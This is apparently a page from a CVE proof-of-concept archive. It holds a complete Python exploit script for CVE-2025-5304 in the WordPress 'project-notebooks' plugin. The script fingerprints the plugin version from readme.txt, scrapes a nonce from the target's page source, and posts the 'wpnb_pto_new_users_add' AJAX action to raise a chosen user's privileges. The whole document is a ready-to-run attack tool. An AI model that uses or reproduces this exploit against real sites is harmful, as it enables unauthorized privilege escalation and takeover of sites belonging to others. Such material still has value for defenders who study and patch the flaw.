4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-5304.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# By Khaled ALenazi ( Nxploited )

import argparse
import random
import re
import sys
import time
import requests
from packaging.version import Version, InvalidVersion

def nxploited_headers(cookie=None):
    agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Nxploited",
        "Mozilla/5.0 (X11; Linux x86_64) Nxploited",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Nxploited",
        "Nxploited/1.0 (compatible;)",
        "Nxploited/2.0 (Special Edition)",
        "Mozilla/5.0 Nxploited"
    ]
    h = {"User-Agent": random.choice(agents) + " | Nxploited", "X-Nxploited": "Nxploited"}
    if cookie:
        h["Cookie"] = cookie
    return h

def nxploited_normalize_url(url):
    url = url.strip()
    if not re.match(r"^https?://", url, re.I):
        url = "http://" + url
    return re.sub(r"/+$", "", url)

def nxploited_fetch_version(base_url, cookie=None, timeout=12):
    readme_url = f"{base_url}/wp-content/plugins/project-notebooks/readme.txt"
    try:
        r = requests.get(readme_url, headers=nxploited_headers(cookie), timeout=timeout, allow_redirects=True)
        text = r.text or ""
        m = re.search(r"Stable\s*tag:\s*([0-9][0-9.\-a-zA-Z]*)", text, re.I)
        if m:
            version = m.group(1).strip()
            print(f"[+] Nxploited: Detected version from readme.txt → {version}")
            return version, True
        print(f"[-] Nxploited: Could not parse version from {readme_url}")
        return None, False
    except Exception as e:
        print(f"[!] Nxploited: Version fetch error: {e}")
        return None, False

def nxploited_is_vulnerable(version_str):
    if not version_str:
        return False
    try:
        return Version(version_str) <= Version("1.1.3")
    except InvalidVersion:
        return version_str.strip() in {"1.1.3", "1.1.2", "1.1.1", "1.1.0", "1.0.9", "1.0.8", "1.0.7", "1.0.6", "1.0.5", "1.0.4", "1.0.3", "1.0.2", "1.0.1", "1.0.0"}

def nxploited_extract_nonce_ajax(base_url, cookie=None, timeout=12):
    try:
        r = requests.get(base_url, headers=nxploited_headers(cookie), timeout=timeout, allow_redirects=True)
        html = r.text or ""
        m_nonce = re.search(r'"nonce"\s*:\s*"([^"]+)"', html)
        m_ajax = re.search(r'"ajax_url"\s*:\s*"([^"]+)"', html)
        nonce = m_nonce.group(1) if m_nonce else None
        ajax_url = m_ajax.group(1).replace("\\/", "/") if m_ajax else f"{base_url}/wp-admin/admin-ajax.php"
        if nonce:
            print(f"[+] Nxploited: Nonce found: {nonce}")
        else:
            print("[-] Nxploited: Nonce not found in page source.")
        print(f"[+] Nxploited: AJAX URL: {ajax_url}")
        return nonce, ajax_url
    except Exception as e:
        print(f"[!] Nxploited: Extraction error: {e}")
        return None, f"{base_url}/wp-admin/admin-ajax.php"

def nxploited_exploit(ajax_url, uid, nonce, cookie=None, timeout=12):
    try:
        data = {"action": "wpnb_pto_new_users_add", "nonce": nonce, "ids": str(uid), "user_type": "2", "Nxploited": "Nxploited"}
        print("[*] Nxploited: Exploiting… silent wait 3 seconds.")
        time.sleep(3)
        r = requests.post(ajax_url, headers=nxploited_headers(cookie), data=data, timeout=timeout, allow_redirects=True)
        print(f"[+] Nxploited: HTTP {r.status_code}")
        body = r.text or ""
        print(body[:1500])
        return r.status_code, body
    except Exception as e:
        print(f"[!] Nxploited: Exploit error: {e}")
        return None, None

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-5304 (Nxploited Edition)")
    parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL (e.g. http://127.0.0.1/wordpress)")
    parser.add_argument("-id", "--id", required=True, help="User ID to escalate (e.g. 28)")
    parser.add_argument("-c", "--cookie", help="Optional Cookie header value for session-bound nonces")
    parser.add_argument("--skip-version", action="store_true", default=False, help="Skip readme.txt version check")
    args = parser.parse_args()

    base_url = nxploited_normalize_url(args.url)
    uid = args.id
    cookie = args.cookie

    detected_version = None
    if not args.skip_version:
        print("Please wait....")
        detected_version, _ = nxploited_fetch_version(base_url, cookie=cookie)
        if detected_version:
            vuln = nxploited_is_vulnerable(detected_version)
            state = "vulnerable" if vuln else "not confirmed vulnerable"
            print(f"[+] Nxploited: Version {detected_version} → {state}")
        else:
            print("[!] Nxploited: Proceeding without confirmed version (use --skip-version to suppress).")

    nonce, ajax_url = nxploited_extract_nonce_ajax(base_url, cookie=cookie)
    if not nonce:
        print("[!] Nxploited: Abort: nonce not found.")
        sys.exit(1)

    if detected_version:
        print(f"[i] Nxploited: Target version during exploitation → {detected_version}")

    status, body = nxploited_exploit(ajax_url, uid, nonce, cookie=cookie)
    if status is None:
        sys.exit(2)
    if "Busted!" in (body or ""):
        print("[!] Nxploited: Server replied 'Busted!' (nonce/session mismatch). If nonce was taken from a logged-in page, pass the same wordpress_logged_in cookie via -c.")
        sys.exit(3)

if __name__ == "__main__":
    main()